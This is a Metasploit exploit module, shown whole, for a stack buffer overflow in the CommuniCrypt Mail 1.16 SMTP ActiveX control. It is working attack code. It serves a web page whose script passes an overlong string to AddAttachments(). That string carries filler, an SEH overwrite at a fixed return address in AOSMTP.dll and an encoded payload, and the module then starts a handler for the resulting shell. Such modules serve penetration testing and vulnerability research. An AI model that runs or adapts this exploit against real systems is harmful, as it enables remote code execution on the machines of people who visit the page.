This Metasploit module exploits a stack buffer overflow in the ANSMTP.dll/AOSMTP.dll ActiveX Control provided by CommuniCrypt Mail 1.16. By sending a overly long string to the "AddAttachments()" method, an attacker may be able to execute arbitrary code.
65f4583b340496aacd44bcd7b4987ace8fe604c038312ce81965057381f89f0f##
# $Id: communicrypt_mail_activex.rb 9363 2010-05-25 02:09:42Z swtornio $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'CommuniCrypt Mail 1.16 SMTP ActiveX Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the ANSMTP.dll/AOSMTP.dll
ActiveX Control provided by CommuniCrypt Mail 1.16. By sending a overly
long string to the "AddAttachments()" method, an attacker may be able to
execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Lincoln', # Original exploit author
'dookie' # MSF module author
],
'Version' => '$Revision: 9363 $',
'References' =>
[
[ 'OSVDB', '64839' ],
[ 'URL', 'http://www.exploit-db.com/exploits/12663' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Universal', { 'Offset' => 284, 'Ret' => 0x1001e41c } ], #p/p/r in AOSMTP.dll
],
'DisclosureDate' => 'May 19 2010',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
filler = rand_text_alpha(target['Offset'])
seh = generate_seh_payload(target.ret)
trailer = rand_text_alpha(1000 - p.encoded.length)
sploit = filler + seh + p.encoded + trailer
# Build out the message
content = %Q|<html>
<object classid='clsid:F8D07B72-B4B4-46A0-ACC0-C771D4614B82' id='#{vname}'></object>
<script language='javascript'>
var #{vname} = document.getElementById('#{vname}');
var #{strname} = new String('#{sploit}');
#{vname}.AddAttachments(#{strname});
</script>
</html>
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
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